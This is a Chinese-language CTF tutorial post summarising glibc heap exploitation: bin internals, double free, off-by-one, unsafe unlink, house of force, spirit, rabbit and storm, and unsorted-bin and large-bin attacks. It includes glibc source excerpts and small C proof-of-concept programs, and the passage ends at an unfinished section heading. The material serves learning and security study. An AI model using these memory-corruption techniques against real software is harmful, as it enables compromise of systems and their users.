首页
社区
课程
招聘
[原创] CTF 中 glibc堆利用 及 IO_FILE 总结
2022-3-30 15:55 31252

[原创] CTF 中 glibc堆利用 及 IO_FILE 总结

2022-3-30 15:55
31252

CTF 中 glibc堆利用 及 IO_FILE 总结

写在最前面

本文全文由winmt一人编写,初稿完成于2022.2.1,在编写过程中,参考了 《CTF竞赛权威指南(Pwn篇)》 一书,以及 raycp,风沐云烟,wjh,Ex,ha1vk 等众多大师傅的博客与 安全客,看雪论坛,先知社区,CTF-WiKi 上的部分优秀的文章,在此一并表示感谢。

 

本文主要着眼于glibc下的一些漏洞及利用技巧和IO调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc相关的基础知识,以及低版本glibc2.27及以前)下常见的漏洞利用方式,后者主要涉及到一些较新的glibc下的IO调用链。

 

本篇文章加入了大量笔者自己的理解,力求用尽可能直白的语言解释清楚一些漏洞的原理和利用方式,给初学者们良好的阅读体验,以少走一些弯路,但笔者本身比较菜,水平也很有限,加上这篇文章成稿的时间较短,因此难免会有一些错误,也欢迎各位读者和笔者进行交流讨论,笔者的邮箱是:wjcmt2003@qq.com

基础堆利用漏洞 及 基本IO攻击

Heap

低地址向高地址增长,可读可写首地址16字节对齐,未开启ASLRstart_brk紧接BSS段高地址处,开启了ASLR,则start_brk在BSS段高地址之后随机位移处。通过调用brk()sbrk()来移动program_break使得堆增长或缩减,其中brk(void* end_data_segment)的参数用于设置program_break的指向,sbrk(increment)的参数可正可负可零,用于与program_break相加来调整program_break的值,执行成功后,brk()返回0sbrk()会返回上一次program_break的值。

mmap

当申请的size大于mmap的阈值mp_.mmap_threshold(128*1024=0x20000)且此进程通过mmap分配的内存数量mp_.n_mmaps小于最大值mp_.n_mmaps_max,会使用mmap来映射内存给用户(映射的大小是页对齐的),所映射的内存地址与之前申请的堆块内存地址并不连续(申请的堆块越大,分配的地址越接近libc)。若申请的size并不大于mmap的阈值,但top chunk当前的大小又不足以分配,则会扩展top chunk,然后从top chunk里分配内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (chunk_is_mmapped (p))
{
  if (!mp_.no_dyn_threshold
      && chunksize_nomask (p) > mp_.mmap_threshold
      && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
  && !DUMPED_MAIN_ARENA_CHUNK (p))
    {
      mp_.mmap_threshold = chunksize (p);
      //假设申请的堆块大小为0x61A80,大于最小阈值,因此第一次malloc(0x61A80),使用mmap分配内存,当free这个用mmap分配的chunk时,对阈值(mp_.mmap_threshold)做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为0x62000,也就是阈值将修改为0x62000
      mp_.trim_threshold = 2 * mp_.mmap_threshold;
      LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                  mp_.mmap_threshold, mp_.trim_threshold);
    }
  munmap_chunk (p);
  return;
}

泄露libc:在能够查看内存分配的环境下(本地vmmap,远程环境通过传非法地址泄露内存分配),通过申请大内存块,可通过利用mmap分配到的内存块地址与libc基址之间的固定偏移量泄露libc地址。

1
2
3
4
5
6
7
pwndbg> vmmap
......
0x555555602000     0x555555604000 rw-p   2000     2000    /pwn
0x555555604000     0x555555625000 rw-p   21000    0       [heap]
0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000   0       /libc-2.27.so
0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000   1e7000  /libc-2.27.so
......

其中0x7ffff79e4000就是本次libc的基地址。

struct malloc_chunk

在这个结构体中,包含了许多成员(考虑在64位下):

  1. pre_size:如果上一个chunk处于释放状态,则表示其大小;否则,作为上一个chunk的一部分,用于保存上一个chunk的数据(申请0x58的大小,加上chunk header0x10大小,理论需要分配0x68,考虑内存页对齐的话,甚至要分配0x70,但实际分配的却是0x60,因为共用了下个堆块pre_size的空间,故从上一个堆块的mem开始可以写到下一个堆块的pre_size)。
  2. size:当前堆块的大小,必须是0x10的整数倍。最后3个比特位被用作状态标识,其中最低两位:IS_MAPPED用于标识当前堆块是否是通过mmap分配的,最低位PREV_INUSE用于表示上一个chunk是否处于使用状态(1为使用,0为空闲),fast bintcache中堆块的下一个堆块中PRE_INUSE位均为1,因此在某些相邻的大堆块释放时,不会与之发生合并
  3. fdbk仅在当前chunk处于释放状态时才有效,chunk被释放后进入相应的binsfd指向该链表中下一个free chunkbk指向该链表中上一个free chunk;否则,均为用户使用的空间。
  4. fd_nextsizebk_nextsize仅在被释放的large chunk中,且加入了与当前堆块大小不同的堆块时才有效,用于指向该链表中下一个,上一个与当前chunk大小不同free chunk(因为large bin中每组bin容纳一个大小范围中的堆块),否则,均为用户使用的空间。
  5. 每次malloc申请得到的内存指针,其实指向user data的起始处。而在除了tcache的各类bin的链表中fdbk等指针却指向着chunk headertcachenext指针指向user data
  6. 所有chunk加入相应的bin时,里面原有的数据不会被更改,包括fd,bk这些指针,在该bin没有其他堆块加入的时候,也不会发生更改。

bins

1.fast bin

 

(1) 单链表,LIFO(后进先出),例如,A->B->C,加入D变为:D->A->B->C,拿出一个,先拿D,又变为A->B->C
(2) fastbinsY[0]容纳0x20大小的堆块,随着序号增加,所容纳的范围递增0x10,直到默认最大大小(DEFAULT_MXFAST0x80(但是其支持的fast bin的最大大小MAX_FAST_SIZE0xa0),mallopt(1,0)mallopt(M_MXFAST,0)MAX_FAST_SIZE设为0,禁用fast bin
(3) 当一个堆块加进fast bin时,不会对下一个堆块的PREV_INUSE进行验证(但是会对下一个堆块size的合法性进行检查),同样地,将一个堆块从fast bin中释放的时候,也不会对其下一个堆块的PREV_INUSE进行更改(也不会改下一个堆块的PREV_SIZE),只有触发malloc_consolidate()后才会改下一个堆块的PREV_INUSE

1
2
3
4
5
6
7
new(small_size); #1
new(large_size); #2
delete(1); #free into fastbin (next chunk's PREV_INUSE is still 1)
new(large_size); #3 trigger malloc_consolidate() => move 1_addr from fastbin to small bin (modify next chunk's PREV_INUSE to 0)
delete(1); # double free (free into fastbin)
new(small_size, payload); #get 1_addr from fastbin (don't modify next chunk's PREV_INUSE)
delete(2); #unsafe unlink

(4) 当申请一个大于large chunk最小大小(包括当申请的chunk需要调用brk()申请新的top chunk或调用mmap()函数时)的堆块之后,会先触发malloc_consolidate(),其本身会将fast bin内的chunk取出来,与相邻的free chunk合并后放入unsorted bin,或并入top chunk(如果无法与相邻的合并,就直接将其放入unsorted bin),然后由于申请的large chunk显然在fast bin,small bin内都找不到,于是遍历unsorted bin,将其中堆块放入small bin,large bin,因此最终的效果就是fast bin内的chunk与周围的chunk合并了(或是自身直接进入了unsorted bin),最终被放入了small bin,large bin,或者被并入了top chunk,导致fast bin均为空。
(5) 若freechunk和相邻的free chunk合并后的size大于FASTBIN_CONSOLIDATION_THRESHOLD(64k)(包括与top chunk合并),那么也会触发malloc_consolidate(),最终fast bin也均为空。
(6) 伪造fast bin时,要绕过在__int_malloc()中取出fake fast bin时,对堆块大小的检验。

 

2.unsorted bin

 

双链表,FIFO(先进先出),其实主要由bk连接,A<-B<-C进一个D变为D<-A<-B<-C,拿出一个C,变为D<-A<-Bbin中堆块大小可以不同,不排序。
一定大小的chunk被释放后在被放入small bin,large bin之前,会先进入unsorted bin
泄露libcunsorted_bin中最先进来的free chunkfd指针和最后进来的free chunkbk指针均指向了main_arena中的位置,在64位中,一般是<main_arena+88><main_arena+96>,具体受libc影响,且main_arena的位置与__malloc_hook相差0x10,而在32位的程序中,main_arena的位置与__malloc_hook相差0x18,加入到unsorted bin中的free chunkfdbk通常指向<main_arena+48>的位置。

1
libc_base = leak_addr - libc.symbols['__malloc_hook'] - 0x10 - 88

此外,可修改正处在unsorted bin中的某堆块的size域,然后从unsorted bin中申请取出该堆块时,不会再检测是否合法,可进行漏洞利用。

 

3.small bin

 

双链表,FIFO(先进先出),同一个small bin内存放的堆块大小相同。
大小范围:0x20 ~ 0x3F0

 

4.large bin

 

双链表,FIFO(先进先出),每个bin中的chunk的大小不一致,而是处于一定区间范围内,里面的chunk从头结点的fd_nextsize指针开始,按从大到小的顺序排列,同理换成bk_nextsize指针,就是按从小到大的顺序排列。
需要注意,若现在large bin内是这样的:0x420<-(1)0x410(2)<-,再插一个0x410大小的堆块进去,会从(2)位置插进去。
large binsizeindex的对应如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
     size            index
[0x400 , 0x440)        64
[0x440 , 0x480)        65
[0x480 , 0x4C0)        66
[0x4C0 , 0x500)        67
[0x500 , 0x540)        68
等差 0x40   
[0xC00 , 0xC40)        96
------------------------------
[0xC40 , 0xE00)        97
------------------------------
[0xE00 , 0x1000)       98
[0x1000 , 0x1200)      99
[0x1200 , 0x1400)      100
[0x1400 , 0x1600)      101
等差 0x200   
[0x2800 , 0x2A00)      111
------------------------------
[0x2A00 , 0x3000)      112
------------------------------
[0x3000 , 0x4000)      113
[0x4000 , 0x5000)      114
等差 0x1000   
[0x9000 , 0xA000)      119
------------------------------
[0xA000 , 0x10000)     120
[0x10000 , 0x18000)    121
[0x18000 , 0x20000)    122
[0x20000 , 0x28000)    123
[0x28000 , 0x40000)    124
[0x40000 , 0x80000)    125
[0x80000 , …. )        126

5.tcache

 

(1) 单链表,LIFO(后进先出),每个bin内存放的堆块大小相同,且最多存放7个,大小从24 ~ 1032个字节,用于存放non-largechunk
(2) tcache_perthread_struct本身也是一个堆块,大小为0x250,位于堆开头的位置,包含数组counts存放每个bin中的chunk当前数量,以及数组entries存放64bin的首地址(可以通过劫持此堆块进行攻击)。
(3) 在释放堆块时,在放入fast bin之前,若tcache中对应的bin未满,则先放入tcache中。
(4) 从fast bin返回了一个chunk,则单链表中剩下的堆块会被放入对应的tcache bin中,直到上限。
small bin返回了一个chunk,则双链表中剩下的堆块会被放入对应的tcache bin中,直到上限。
在将剩余堆块从small bin放入tcache bin的过程中,除了检测了第一个堆块的fd指针,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测。
(5) binning code,如在遍历unsorted bin时,每一个符合要求的chunk都会优先被放入tcache,然后继续遍历,除非tcache已经装满,则直接返回,不然就在遍历结束后,若找到了符合要求的大小,则把tcache中对应大小的返回一个。
(6) 在__libc_malloc()调用__int_malloc()之前,如果tcache bin中有符合要求的chunk就直接将其返回。
(7) CVE-2017-17426libc-2.26存在的漏洞,libc-2.27已经修复。
(8) 可将tcache_count整型溢出为0xff以绕过tcache,直接放入unsorted bin等,但在libc-2.28中,检测了counts溢出变成负数(0x00-1=0xff)的情况,且增加了对double free的检查。
(9) calloc()越过tcachechunk,通过calloc()分配的堆块会清零补充:realloc()的特殊用法:size == 0时,等同于freerealloc_ptr == 0 && size > 0 时等同于malloc。如果当前连续内存块足够realloc的话,只是将p所指向的空间扩大,并返回p的指针地址;如果当前连续内存块不够,则再找一个足够大的地方,分配一块新的内存q,并将p指向的内容copyq,返回 q。并将p所指向的内存空间free;若是通过realloc缩小堆块,则返回的指针p不变,但原先相比缩小后多余的那部分将会被free掉。

 

6.top chunk

 

除了house of force外,其实对于top chunk还有一些利用点。
当申请的size不大于mmap的阈值,但top chunk当前的大小又不足以分配,则会扩展top chunk,然后从新top chunk里进行分配。
这里的扩展top chunk,其实不一定会直接扩展原先的top chunk,可能会先将原先的top chunkfree掉,再在之后开辟一段新区域作为新的top chunk
具体是,如果brk等于该不够大小的top chunk(被记作old_top_chunk)的end位置(old_end,等于old_top + old_size),即top chunksize并没有被修改,完全是自然地分配堆块,导致了top chunk不够用,则会从old_top处开辟更大的一块空间作为新的top chunk,也就是将原先的old_top_chunk进行扩展了,此时没有free,且top chunk的起始位置也没有改变,但是如果brk不等于old_end,则会先freeold_top_chunk,再从brk处开辟一片空间作为new_top_chunk,此时的top chunk头部位置变为了原先的brk,而如今的brk也做了相应的扩展,并且unsorted bintcache中(一般修改的大小都至少会是small bin范围,但具体在哪得分情况看)会有被freeold_top_chunk
因此,可以通过改小top chunksize,再申请大堆块,做到对旧top chunkfree,不过修改的size需要绕过一些检测。
相关源码如下:

1
2
3
4
5
6
7
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size)); // old_end = old_top + old_size
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));

需要绕过以上的断言,主要就是要求被修改的top chunksizeprev_inuse位要为1并且old_end要内存页对齐,所以就要求被修改的size的后三位和原先要保持一致。

Use-After-Free (UAF)

free(p)后未将p清零,若是没有其他检查的话,可能造成UAF漏洞。
double free就是利用UAF漏洞的经典例子。

 

1.fast bindouble free

 

(1) fast bindouble free有检查,会检查当前的chunk是否与fast bin顶部的chunk相同,如果相同则报错并退出。因此,我们不能连续释放两次相同的chunk
可采用如下方式在中间添加一个chunk便绕过检查:
释放A,单链表为A,再释放B,单链表为B->A,再释放A,单链表为A->B->A,然后申请到A,同时将其中内容改成任意地址(改的是fd指针),单链表就成了B->A->X,其中X就是任意地址,这样再依次申请BA后,再申请一次就拿到了地址X,可以在地址X中任意读写内容。
(2) 其实,若是有Edit功能的话,可以有如下方式:
若当前单链表是B->A,将Bfd指针通过Edit修改为任意地址X,单链表就变成了B->X,申请了B之后,再申请一次,就拿到了X地址,从而进行读写。
需要注意的是,以上的X准确说是fake chunkchunk header地址,因为fast bin会检测chunk_header_addr + 8(即size)是否符合当前bin的大小。

 

2.tcachedouble free

 

libc-2.28之前并不会检测double free,因此可以连续两次释放同一个堆块进入tcache,并且tcachenext指针指向的是user data,因此不会做大小的检测。
释放A,单链表为A,再释放A,单链表为A->A,申请A并把其中内容(next指针)改成X,则单链表为A->X,再申请两次,拿到X地址的读写权。
在以上过程结束后,实际上是放进tcache了两次,而申请取出了三次,因此当前tcachecounts会变成0xff,整型溢出,这是一个可以利用的操作,当然若是想避免此情况,在第一次释放A之前,可以先释放一次B,将其放入此tcache bin即可。
此外,若是有Edit功能,仿照上述 fast bin对应操作的技术被称为tcache_poisoning

 

3.glibc2.31下的double free

 

glibc2.29之后加入了对tcache二次释放的检查,方法是在tcache_entry结构体中加入了一个标志key,用于表示chunk是否已经在所属的tcache bin中,对于每个chunk而言,key在其bk指针的位置上。
chunk被放入tcache bin时会设置key指向其所属的tcache结构体:e->key = tcache;,并在free时,进入tcache bin之前,会进行检查:如果是double free,那么putkey字段被设置了tcache,就会进入循环被检查出来;如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free。这是一个较为优秀的算法,进行了剪枝,具体源码如下:

1
2
3
4
5
6
7
8
if (__glibc_unlikely(e->key == tcache))
{
    tcache_entry *tmp;
    LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
      if (tmp == e)
        malloc_printerr("free(): double free detected in tcache 2");
}

可通过fast bin double free+tcache stash机制来进行绕过:
(1) 假设目前tcache被填满了:C6->C5->C4->C3->C2->C1->C0fast bin中为:C7->C8->C7
(2) 下一步,为了分配到fast bin,需要先申请7个,让tcache为空(或calloc),再次申请时就会返回fast bin中的C7,同时由于tcache stash机制,fast bin中剩下的C8,C7均被放入了tcache bin,此时,在C7fd字段写入target_addr(相当于获得了Edit功能),于是target_addr也被放入了tcache bin,因此这里target_addr处甚至不需要伪造sizetarget_addr指向user data区)。
(3) 此时,tcache bin中单链表为:C8->C7->target_addr,再申请到target_addr,从而得到了一个真正的任意写。
补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<stdlib.h>
 
int main()
{
    void *ptr[15];
    for(int i=0;i<=9;i++)ptr[i]=malloc(0x20);
    for(int i=0;i<7;i++)free(ptr[i]);
    free(ptr[7]);
    free(ptr[8]);
    free(ptr[7]); //free(ptr[9]);
    for(int i=0;i<7;i++)malloc(0x20);
    malloc(0x20);
    return 0;
}

上述代码,若是按注释中的写,则在没有触发tcache stash机制时,fast bin中为C9->C8->C7,取走C9,最终tcache bin中是C7->C8,符合设想(依次取C8C7放入tcache bin)。
然而,若是double free chunk_7,则在没有触发tcache stash机制时,fast bin中为C7->C8->C7,取走C7,最终tcache bin中是C8->C7->C8,而若是按照tcache bin放入的规则,应该也是类似于C7->C8,不符合设想。
流程如下:
(1) 取C8放入tcache bin,同时REMOVE_FB (fb, pp, tc_victim);会清空C8next(fd)指针,并且将链表头设置为指向C8原先fd指针指向的堆块C7(源码分析如下)。

1
2
3
4
5
6
7
8
9
10
#define REMOVE_FB(fb, victim, pp)//摘除一个空闲chunk
do
{
    victim = pp;
    if (victim == NULL)
    break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim);
//catomic_compare_and_exchange_val_rel_acq 功能是 如果*fb等于victim,则将*fb存储为victim->fd,返回victim;
//其作用是从刚刚得到的空闲chunk链表指针中取出第一个空闲的chunk(victim),并将链表头设置为该空闲chunk的下一个chunk(victim->fd)

(2) 目前fast bin中为C7->C8(最开始取走C7并不清空其fd字段),然后根据tcache bin的放入规则,最终依次放入后为C8->C7->C8

 

4.当可以Edit时,往往就不需要double free了,而有些情况看似不能对空闲中的堆块进行Edit(比如存放长度的数组在free后会清零),但是可以利用UAF漏洞对处于空闲状态的堆块进行Edit,例如:

1
2
3
4
5
malloc(0x20) #1
free(1)
malloc(0x20) #2
free(1) #UAF
Edit(2, payload)

此时,我们编辑chunk 2,实则是在对已经freechunk 1进行编辑。

off by one

缓冲区溢出了一个字节,由于glibc的空间复用技术(即pre_size给上一个allocated的堆块使用),所以可通过off by one修改下一个堆块的size域。
经常是由于循环次数设置有误造成了该漏洞的产生。比较隐蔽的是strcpy会在复制过去的字符串末尾加\x00,可能造成poison null byte,例如,strlenstrcpy 的行为不一致可能会导致off-by-one 的发生:strlen 在计算字符串长度时是不把结束符\x00计算在内的,但是strcpy在复制字符串时会拷贝结束符 \x00
off by one经常可以与Chunk Extend and Overlapping配合使用。

  1. 扩展被释放块: 当可溢出堆块的下一个堆块处在unsorted bin中,可以通过溢出单字节扩大下一个堆块的size域,当申请新sizeunsorted bin中取出该堆块时,就会造成堆块重叠,从而控制原堆块之后的堆块。该方法的成功依赖于:malloc并不会对free chunk的完整性以及next chunkprev_size进行检查,甚至都不会查next chunk的地址是不是个堆块。
    libc-2.29增加了检测next chunkprev_size,会报错:malloc(): mismatching next->prev_size (unsorted),也增加了检测next chunk的地址是不是个堆块,会报错malloc(): invalid next size (unsorted)
    libc-2.23(11)的版本,当释放某一个非fast bin的堆块时,若上/下某堆块空闲,则会检测该空闲堆块的size与其next chunkprev_size是否相等。
  2. 扩展已分配块: 当可溢出堆块的一个堆块(通常是fast bin,small bin)处于使用状态中时,单字节溢出可修改处于allocated的堆块的size域,扩大到下面某个处于空闲状态的堆块处,然后将其释放,则会一直覆盖到下面的此空闲堆块,造成堆块重叠。
    此时释放处于使用状态的堆块,由于是根据处于使用中的堆块的size找到下一个堆块的,而若是上一个堆块处于使用中,那么下一个堆块的prev_size就不会存放上一个堆块的大小,而是进行空间复用,存放上一个堆块中的数据,因此,此时不论有没有sizenext chunkprev_size的一致性检测,上述利用都可以成功。
    同理,若将堆块大小设成0x10的整数倍,就不会复用空间,此时单字节溢出就可以修改next chunkprev_size域,然后将其释放,就会与上面的更多的堆块合并,造成堆块重叠,当然此时需要next chunkprev_inuse为零。
    当加入了对当前堆块的size与下一个堆块的prev_size的比对检查后,上述利用就难以实现了。
  3. 收缩被释放块: 利用poison null byte,即溢出的单字节为\x00的情况。通过单字节溢出可将下一个被释放块的size域缩小,而此被释放块的下一个堆块(allocated)的prev_size并不会被更改(将已被shrink的堆块进行切割,仍不会改变此prev_size域),若是将此被释放块的下一个堆块释放,则还是会利用原先的prev_size找到上一个被释放块进行合并,这样就造成了堆块重叠。
    同样,当加入了对当前堆块的size与下一个堆块的prev_size的比对检查后,上述利用就难以实现了。
  4. house of einherjar: 同样是利用poison null byte,当可溢出堆块的下一个堆块处于使用中时,通过单字节溢出,可修改next chunkprev_inuse位为零(0x101->0x100),同时将prev_size域改为该堆块与目标堆块位置的偏移,再释放可溢出堆块的下一个堆块,则会与上面的堆块合并,造成堆块重叠。值得一提的是,house of einherjar不仅可以造成堆块重叠,还具备将堆块分配到任意地址的能力,只要把上述的目标堆块改为fake chunk的地址即可,因此通常需要泄露堆地址,或者在栈上伪造堆。

unsafe unlink

unlink:由经典的链表操作FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;实现,这样堆块P就从该双向链表中取出了。
unlink中有一个保护检查机制:(P->fd->bk!=P || P->bk->fd!=P) == False,需要绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
 
uint64_t *chunk0_ptr;
int main()
{
    int malloc_size = 0x80; //避免进入fast bin
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    //chunk0_ptr指向堆块的user data,而&chunk0_ptr是指针的地址,其中存放着该指针指向的堆块的fd的地址
    //0x90的chunk0的user data区伪造一个大小为0x80的fake chunk
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    chunk0_ptr[1] = 0x80; //高版本会有(chunksize(P)!=prev_size(next_chunk(P)) == False)的检查
    //绕过检测((P->fd->bk!=P || P->bk->fd!=P) == False):
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18; //设置fake chunk的fd
    //P->fd->bk=*(*(P+0x10)+0x18)=*(&P-0x18+0x18)=P
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10; //设置fake chunk的bk
    //P->bk->fd=*(*(P+0x18)+0x10)=*(&P-0x10+0x10)=P
 
    uint64_t *chunk1_hdr = chunk1_ptr - 0x10; //chunk1_hdr指向chunk1 header
    chunk1_hdr[0] = malloc_size; //往上寻找pre(fake) chunk
    chunk1_hdr[1] &= ~1; //prev_inuse -> 0
 
    //高版本需要先填满对应的tcache bin
    free(chunk1_ptr); //触发unlink,chunk1找到被伪造成空闲的fake chunk想与之合并,然后对fake chunk进行unlink操作
    //P->fd->bk=P=P->bk,P->bk->fd=P=P->fd,即最终P=*(P+0x10)=&P-0x18
 
    char victim_string[8] = "AAAAAAA";
    chunk0_ptr[3] = (uint64_t) victim_string; //*(P+0x18)=*(&P)=P=&str
 
    chunk0_ptr[0] = 0x42424242424242LL; //*P=*(&str)=str=BBBBBBB
    fprintf(stderr, "New Value: %s\n",victim_string); //BBBBBBB
    return 0;
}

house of spirit

对于fast bin,可以在栈上伪造两个fake chunk,但需要绕过检查,应满足第一个fake chunk的标志位IS_MMAPPEDNON_MAIN_ARENA均为零(PREV_INUSE并不影响释放),且要求其大小满足fast bin的大小,对于其next chunk,即第二个fake chunk,需要满足其大小大于0x10,小于av->system_mem0x21000)才能绕过检查。之后,伪造指针P = & fake_chunk1_mem,然后free(P)fake_chunk1就进入了fast bin,之后再申请同样大小的内存,即可取出fake_chunk1,获得了栈上的任意读写权(当然并不局限于在栈上伪造)。
该技术在libc-2.26中仍然适用,可以对tcache做类似的操作,甚至没有对上述next chunk的检查。

house of force

主要思路为:将top chunksize改为一个很大的数,就可以始终让top chunk满足切割条件,而恰好又没有对其的检查,故可利用此漏洞,top chunk的地址加上所请求的空间大小造成了整型溢出,使得top chunk被转移到内存中的低地址区域(如bss段,data段,got表等等),接下来再次请求空间,就可以获得转移地址后面的内存区域的控制权。

  1. 直接将top chunksize域赋成-1,通过整型溢出为0xffffffffffffffff
  2. 将需要申请的evil_size设为target_addr - top_ptr - 0x10*2,这里的top_ptr指向top chunkchunk header处。
  3. 通过malloc(evil_size)申请堆块,此时由于top chunksize很大,会绕过检查,通过top chunk进行分配,分配后,top chunk被转移到:top_ptr + (evil_size + 0x10) = target_addr - 0x10处。
  4. 之后,再申请P = malloc(X),则此时P指向target_addr,继而可对此地址进行任意读写的操作。

house of rabbit

house of rabbit是利用malloc_consolidate()合并机制的一种方法。
malloc_consolidate()函数会将fastbin中的堆块之间或其中堆块与相邻的freed状态的堆块合并在一起,最后达到的效果就是将合并完成的堆块(或fastbin中的单个堆块)放进了smallbin/largebin中,在此过程中,并不会对fastbin中堆块的sizefd指针进行检查,这是一个可利用点。

  1. fastbin中的堆块size可控(比如off by one等)
    比如现在fastbin有两个0x20的堆块A -> B,其中chunk Bchunk A的上方,我们将chunk Bsize改为0x40,这样就正好包含了chunk A,且fake chunk B下面的堆块也就是chunk A下方的堆块,也是合法的,假设这个堆块不是freed的状态,那么触发malloc_consolidate()之后,smallbin里就会有两个堆块,一个是chunk A,另外一个是fake chunk B,其中包含了chunk A,这样就实现了堆块重叠。

  2. fastbin中的堆块fd可控(比如UAF漏洞等)
    其实就是将fastbin中的堆块的fd改为指向一个fake chunk,然后通过触发malloc_consolidate()之后,使这个fake chunk完全“合法化”。不过,需要注意伪造的是fake chunk's next chunksize与其next chunk's next chunksizeprev_inuse位要为1)。

unsorted bin attack

unsorted bin into stack的原理比较简单,就是在栈上伪造一个堆块,然后修改unsorted bin中某堆块的bk指针指向此fake chunk,通过申请到此fake chunk达到对栈上地址的读写权。需要注意的是高版本有tcache的情况,此时在unsorted bin中找到一个合适大小的堆块后并不会直接返回,而是会放入tcache bin中,直到上限,若是某时刻tcache_count达到上限,则直接返回该fake chunk,不然会继续遍历,并在最后从tcache bin中取出返回给用户,此时就要求fake chunkbk指针指向自身,这样就可以通过循环绕过。
再来看真正的unsorted bin attack,其实在上述利用中,fake chunkfd指针被修改成了unsorted bin的地址,位于main_arena,甚至可以通过泄露其得到libc的基地址,当然也可以通过这个利用,将任意地址中的值改成很大的数(如global_max_fast),这就是unsorted bin attack的核心,其原理是:当某堆块victimunsorted bin list中取出时,会进行bck = victim->bk; unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);的操作。
例如,假设chunk_Aunsorted bin中,此时将chunk_Abk改成&global_max_fast - 0x10,然后取出chunk_A,那么chunk_A->bk->fd,也就是global_max_fast中就会写入unsorted bin地址,即一个很大的数。若是在高版本有tcache的情况下,可通过放入tcache的次数小于从中取出的次数,从而整型溢出,使得tcache_count为一个很大的数,如0xff,就可以解决unsorted bin into stack中提到的tcache特性带来的问题。

large bin attack

假设当前chunk_Alarge bin中,修改其bkaddr1 - 0x10,同时修改其bk_nextsizeaddr2 - 0x20,此时chunk_B加入了此large bin,其大小略大于chunk_A,将会进行如下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else
{
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;//1
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;//2
}
...
bck = fwd->bk;
...
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//3

其中,victim就是chunk_B,而fwd就是修改过后的chunk_A,注意到3bck->fd = victim,同时,把1带入2可得到:fwd->bk_nextsize->fd_nextsize=victim,因此,最终addr1addr2地址中的值均被赋成了victimchunk_Bchunk header地址,也是一个很大的数。

house of storm

一种large bin attack配合类似于unsorted bin into stack的攻击手段,适用于libc-2.30版本以下,由于基本可以被IO_FILE attack取代,目前应用情景并不是很广泛,但是其思路还是挺巧妙的,所以这里也介绍一下。
我们想用类似于unsorted bin into stack的手段,将某个unsorted binbk指向我们需要获得读写权限的地址,然后申请到该地址,但是我们又没办法在该地址周围伪造fake chunk,这时候可以配合large bin attack进行攻击。
假设需要获取权限的目标地址为addr,我们首先将某个unsorted binlarge bin大小,大小为X,地址为Z)的bk指向addr-0x20,然后将此时large bin中某堆块(大小为YX略大于Y)的bk设为addr-0x18bk_nextsize设为addr-0x20-0x20+3
这时通过申请0x50大小的堆块(后面解释),然后unsorted bin的那个堆块会被放入large bin中,先是addr-0x10被写入main_arena+88(在此攻击手段中用处不大),然后由于large bin attack,在地址Z对应的堆块从unsorted bin被转入large bin后,addr-0x8会被写入地址Z,从addr-0x20+3开始也会写入地址Z,造成的结果就是addr-0x18处会被写入了0x550x56(即地址Z的最高位),相当于伪造了size
此时的情形如下:

1
2
3
addr-0x20:    0x4d4caf8060000000    0x0000000000000056
addr-0x10:    0x00007fe2b0e39b78    0x0000564d4caf8060
addr: ...

这时,由于之前申请了0x50大小的堆块(解释了设置large binbk_nextsize的目的,即为伪造size),那么就会申请到chunk header位于addr-0x20fake chunk返回给用户,此时需要访问到fake chunkbk指针指向的地址(bck->fd = victim),因此需要其为一个有效的地址,这就解释了设置large binbk的目的。
最后需要说明的是,当开了地址随机化之后,堆块的地址最高位只可能是0x550x56,而只有当最高位为0x56的时候,上述攻击方式才能生效,这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc中有这么一句断言:

1
2
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));

过上述检测需要满足以下一条即可:

  1. victim0 (没有申请到内存)
  2. IS_MMAPPED1 (是mmap的内存)
  3. NON_MAIN_ARENA0 (申请到的内存必须在其所分配的arena中)
    而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不为0才能通过mmap的判断。

值得一提的是,由于addr-0x8(即fake chunkbk域)被写入了地址Z,因此最终在fake chunk被返还给用户后,unsorted bin中仍有地址Z所对应的堆块(已经被放入了large bin中),且其fd域被写入了main_arena+88bck->fd = unsorted_chunks(av))。

tcache_stashing_unlink_attack

